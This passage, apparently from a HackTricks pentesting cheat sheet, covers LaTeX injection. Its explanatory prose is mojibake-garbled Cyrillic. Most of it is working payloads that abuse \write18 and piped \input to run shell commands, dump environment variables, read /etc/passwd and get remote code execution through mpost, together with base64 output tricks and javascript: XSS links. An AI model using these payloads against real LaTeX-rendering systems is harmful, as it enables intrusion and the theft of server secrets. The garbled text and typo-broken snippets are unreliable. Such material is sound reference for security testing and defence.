ΡΠ΄Π½Ρ Π΄Π°Π½Ρ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π±ΡΠ΄ΡΡΡ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»Π΅Π½Ρ Π΄ΠΎ stdin, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΠΉΡΠ΅ ΡΠΈΠΌΡΠ°ΡΠΎΠ²ΠΈΠΉ ΡΠ°ΠΉΠ», ΡΠΎΠ± ΡΡ
ΠΎΡΡΠΈΠΌΠ°ΡΠΈ.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Π―ΠΊΡΠΎ Π²ΠΈ ΠΎΡΡΠΈΠΌΠ°ΡΡΠ΅ Π±ΡΠ΄Ρ-ΡΠΊΡ ΠΏΠΎΠΌΠΈΠ»ΠΊΡ LaTex, ΡΠΎΠ·Π³Π»ΡΠ½ΡΡΠ΅ ΠΌΠΎΠΆΠ»ΠΈΠ²ΡΡΡΡ Π²ΠΈΠΊΠΎΡΠΈΡΡΠ°Π½Π½Ρ base64, ΡΠΎΠ± ΠΎΡΡΠΈΠΌΠ°ΡΠΈ ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ Π±Π΅Π· ΠΏΠΎΠ³Π°Π½ΠΈΡ
ΡΠΈΠΌΠ²ΠΎΠ»ΡΠ².
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting
ΠΡΠ΄ [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
**ΠΠ΅ΡΠ΅Π²ΡΡΡΠ΅** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## References
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}